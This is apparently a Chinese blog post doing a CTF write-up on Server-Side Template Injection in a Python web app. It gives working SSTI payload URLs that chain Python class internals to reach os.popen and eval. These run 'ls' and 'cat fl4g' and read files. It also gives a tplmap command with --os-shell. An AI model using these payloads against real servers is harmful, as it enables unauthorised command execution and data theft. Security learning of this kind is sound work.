MENU

SSTI漏洞初探

起因

xctf上做题遇到的

0x00 SSTI漏洞简介

SSTI:Server-Side Template Injection

服务器端模板注入,属于格式化字符串漏洞之一。

注入就是格式化字符串漏洞的一种体现

不管是二进制还是web,很多的漏洞都能归结为格式化字符串漏洞

sql注入就是格式化字符串漏洞的最好代表,在本不该执行sql语句的地方执行了sql语句。

xss的部分代码闭合注入也属于这种方式。

什么是模板注入呢?

html代码的时候,为了方便,很多网站都会使用模板,先写好一个html文件

当开发者想要这个模板对应的样式时,可以直接用render_template_string方法来调用模板

从而直接把这个样式渲染出来,而模板注入,就是指将一串指令代替变量传入模板让它执行

0x01writeup

首先我们来建立一个简单的测试url:

xxx.xxx.xxx.xxx:yyyyy/{{7*7}}

可以看到7*7这条指令被执行了

题目说的是python template injection,说明服务器端脚本是python

那我们需要知道python中的类内方法:

  • class : 返回对象所属的类
  • mro : 返回一个类所继承的基类元组,方法在解析时按照元组的顺序解析。
  • base : 返回该类所继承的基类

    • __base__和__mro__都是用来寻找基类的
  • subclasses : 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
  • init : 类的初始化方法
  • globals : 对包含函数全局变量的字典的引用

首先我们查看所有模块:

xxx.xxx.xxx.xxx:yyyyy/%7B%7B[].__class__.__base__.__subclasses__()%7D%7D

这里模块很多,为了后续我们方便使用模块,这里我写了一个小脚本,把对应的序号列出来:

import requests
import re
import html
url = "http://xxx.xxx.xxx.xxx:yyyyy/[].__class__.__base__.__subclasses__()%7D%7D"
cont = html.unescape(requests.get(url).content.decode("utf8"))
type_list = re.findall(r"<type '.*?'>|<class '.*?'>", cont, re.S)
print(type_list)
for i in range(len(type_list)):
    print(i, type_list[i])

效果如下:

这里可以使用catch_warnings模块的.__init__.func_globals.keys()linecache函数来调用os模块

xxx.xxx.xxx.xxx:yyyyy/%7B%7B().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__(%22os%22).popen(%22ls%22).read()'%20)%7D%7D

也可以使用osprinter函数来使用os.popen函数执行命令行语句

xxx.xxx.xxx.xxx:yyyyy/%7B%7B''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()%7D%7D

然后继续使用os.popen执行cat fl4g命令显示fl4g文件内容:

xxx.xxx.xxx.xxx:yyyyy/%7B%7B''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()%7D%7D

或者直接使用os模块的listdir方法来寻找flag文件:

xxx.xxx.xxx.xxx:yyyyy/%7B%7B''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')%7D%7D

然后使用file方法来读取fl4g:

xxx.xxx.xxx.xxx:yyyyy/%7B%7B''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()%7D%7D

最后读取内容如下:

本题也可以使用服务端模板注入工具tplmap

使用python2环境,指定url加上--os-shell参数直接获得目标主机shell:

python tplmap.py -u "http://xxx.xxx.xxx.xxx:yyyyy/*" --os-shell

本文完。

参考文章: